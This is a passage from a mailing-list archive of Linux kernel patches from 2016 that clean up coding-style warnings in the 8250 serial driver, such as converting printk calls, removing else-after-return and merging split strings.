 	} else {
@@ -127,7 +127,7 @@ int __init hp300_setup_serial_console(void)
 		if (!pa)
 			return 0;
=20
-		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", sco=
de);
+		pr_info("Serial console is HP DCA at select code %d\n", scode);
=20
 		port.uartclk =3D HPDCA_BAUD_BASE * 16;
 		port.mapbase =3D (pa + UART_OFFSET);
@@ -141,13 +141,13 @@ int __init hp300_setup_serial_console(void)
 		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
 			add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is DCA but support is disabled (=
CONFIG_HPDCA)!\n");
+		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPDCA=
)!\n");
 		return 0;
 #endif
 	}
=20
 	if (early_serial_setup(&port) < 0)
-		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_setu=
p() failed.\n");
+		pr_warn("hp300_setup_serial_console(): early_serial_setup() failed.\=
n");
 	return 0;
 }
 #endif /* CONFIG_SERIAL_8250_CONSOLE */
@@ -179,8 +179,9 @@ static int hpdca_init_one(struct dio_dev *d,
 	line =3D serial8250_register_8250_port(&uart);
=20
 	if (line < 0) {
-		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
-		       " irq %d failed\n", d->scode, uart.port.irq);
+		dev_notice(&d->dev,
+			  "8250_hp300: register_serial() DCA scode %d irq %d failed\n",
+			  d->scode, uart.port.irq);
 		return -ENOMEM;
 	}
=20
@@ -260,8 +261,8 @@ static int __init hp300_8250_init(void)
 		line =3D serial8250_register_8250_port(&uart);
=20
 		if (line < 0) {
-			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
-			       " %d irq %d failed\n", i, uart.port.irq);
+			pr_notice("8250_hp300: register_serial() APCI %d irq %d failed\n",
+				  i, uart.port.irq);
 			kfree(port);
 			continue;
 		}
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 99f709c..343d050 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *up)
 out_lock:
 	spin_unlock_irqrestore(&port->lock, flags);
 	if (up->capabilities !=3D old_capabilities) {
-		printk(KERN_WARNING
-		       "ttyS%d: detected caps %08x should be %08x\n",
+		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
 		       serial_index(port), old_capabilities,
 		       up->capabilities);
 	}
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 05/13] tty: serial: 8250: Remove else after return
Date: Fri,  8 Jan 2016 18:43:51 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1452275039-18787-6-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275200 27453 80.91.229.3 (8 Jan 2016 17:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:46:40 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:46:18 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHb78-0006RA-Ns
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:46:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755454AbcAHRqB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:46:01 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48319 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755299AbcAHRp6 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:45:58 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 077D258C4E1;
	Fri,  8 Jan 2016 18:45:55 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:55 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122085 gmane.linux.ports.parisc:26326
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122085>

This patch fixes checkpatch warnings about unnecessary else blocks afte=
r
return statements.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 7f9f245..09157fa 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
=20
 	pi =3D (c & 0xff);
=20
-	if (pi =3D=3D 2) {
+	if (pi =3D=3D 2)
 		return 1;
-	} else if ((pi =3D=3D 0) &&
-			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
+
+	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) =
{
 		/* two possibilities: 0x30ps encodes number of parallel and
 		 * serial ports, or 0x1000 indicates *something*. This is not
 		 * immediately obvious, since the 2s1p+4s configuration seems
@@ -816,12 +816,11 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
 		 * advertising the same function 3 as the 4s+2s1p config.
 		 */
 		sub_serports =3D dev->subsystem_device & 0xf;
-		if (sub_serports > 0) {
+		if (sub_serports > 0)
 			return sub_serports;
-		} else {
-			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on a=
mbiguous config.\n");
-			return 0;
-		}
+
+		dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on am=
biguous config.\n");
+		return 0;
 	}
=20
 	moan_device("unknown NetMos/Mostech program interface", dev);
--=20
1.9.1



From - Thu Nov 08 21:38:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 11/13] tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro
Date: Fri,  8 Jan 2016 18:43:57 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <1452275039-18787-12-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275207 27540 80.91.229.3 (8 Jan 2016 17:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:46:47 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de,
	=?UTF-8?q?Anton=20W=C3=BCrfel?= <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:46:36 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHb7R-0006nx-C4
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:46:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932210AbcAHRqT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:46:19 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48468 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755466AbcAHRqE (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:04 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id DAE5058C4CE;
	Fri,  8 Jan 2016 18:46:01 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:46:01 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122086 gmane.linux.ports.parisc:26327
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122086>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch removes the macro SERIAL_DEBUG_PNP, which is used to enable
debugging at compile time.
As SERIAL_DEBUG_PNP is an orphan, the corresponding #ifdef is removed.
To keep the ability to enable debugging at compile time,
the call to printk(KERN_DEBUG ...) is replaced by a corresponding
call to dev_dbg(), which is configurable via CONFIG_DYNAMIC_DEBUG.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index ffa7354..ba3a1af 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -464,11 +464,11 @@ serial_pnp_probe(struct pnp_dev *dev, const struc=
t pnp_device_id *dev_id)
 	} else
 		return -ENODEV;
=20
-#ifdef SERIAL_DEBUG_PNP
-	printk(KERN_DEBUG
-		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.port=
=2Eiotype);
-#endif
+	dev_dbg(&dev->dev,
+		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, uart.port.mapbase,
+		 uart.port.irq, uart.port.iotype);
+
 	if (flags & CIR_PORT) {
 		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
 		uart.port.type =3D PORT_8250_CIR;
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 03/13] tty: serial: 8250: Fix braces after struct
Date: Fri,  8 Jan 2016 18:43:49 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1452275039-18787-4-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275229 28046 80.91.229.3 (8 Jan 2016 17:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:47:09 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:46:47 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHb7Y-0006tr-TC
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:46:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932096AbcAHRqR convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:46:17 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48275 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755182AbcAHRqB (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:01 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id A7FDE58C4D2;
	Fri,  8 Jan 2016 18:45:52 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:52 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122088 gmane.linux.ports.parisc:26328
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122088>

This patch fixes a checkpatch warning by moving an opening curly brace
to its correct position.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 2891958..5e1b464 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -24,8 +24,7 @@
 #endif
=20
 #ifdef CONFIG_HPAPCI
-struct hp300_port
-{
+struct hp300_port {
 	struct hp300_port *next;	/* next port */
 	int line;			/* line (tty) number */
 };
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 09/13] tty: serial: 8250: Fix multi-line strings
Date: Fri,  8 Jan 2016 18:43:55 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <1452275039-18787-10-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275381 30382 80.91.229.3 (8 Jan 2016 17:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:49:41 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:49:31 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbAH-00011V-PD
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:49:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755658AbcAHRqM convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:46:12 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48319 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755412AbcAHRqB (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:01 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 8AB0958C4DA;
	Fri,  8 Jan 2016 18:45:59 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:59 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122097 gmane.linux.ports.parisc:26329
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122097>

Merged user-visible multi-line strings into a single line according to =
the
Linux Kernel Coding Style, which allows user-visible strings to exceed =
the
maximum line length of 80 characters. The main reason for this is to
facilitate grepping for these strings.
However, some strings were ignored in this patch, because the use of
format specifiers breaks the ability to grep anyway.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 3 +--
 drivers/tty/serial/8250/serial_cs.c | 3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index d042ad5..b60b58b 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1173,8 +1173,7 @@ MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
 module_param(share_irqs, uint, 0644);
-MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices"
-	" (unsafe)");
+MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices (unsafe)");
=20
 module_param(nr_uarts, uint, 0644);
 MODULE_PARM_DESC(nr_uarts, "Maximum number of UARTs supported. (1-" __=
MODULE_STRING(CONFIG_SERIAL_8250_NR_UARTS) ")");
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 1f34867..1ab6bfc 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -533,8 +533,7 @@ static int multi_config(struct pcmcia_device *link)
 		info->multi =3D 2;
 		if (pcmcia_loop_config(link, multi_config_check_notpicky,
 				       &base2)) {
-			dev_warn(&link->dev, "no usable port range "
-			       "found, giving up\n");
+			dev_warn(&link->dev, "no usable port range found, giving up\n");
 			return -ENODEV;
 		}
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 06/13] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Fri,  8 Jan 2016 18:43:52 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <1452275039-18787-7-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275394 30533 80.91.229.3 (8 Jan 2016 17:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:49:54 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:49:47 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbAT-0001CJ-P9
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:49:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755592AbcAHRqJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:46:09 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48335 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755427AbcAHRqB (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:01 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 252D658C4E3;
	Fri,  8 Jan 2016 18:45:56 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:56 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122098 gmane.linux.ports.parisc:26330
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122098>

This patch moves EXPORT_SYMBOL macros directly after the definition of
the corresponding symbol to remove checkpatch warnings.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3912646..15082ae 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -763,6 +763,7 @@ void serial8250_suspend_port(int line)
=20
 	uart_suspend_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_suspend_port);
=20
 /**
  *	serial8250_resume_port - resume one serial port
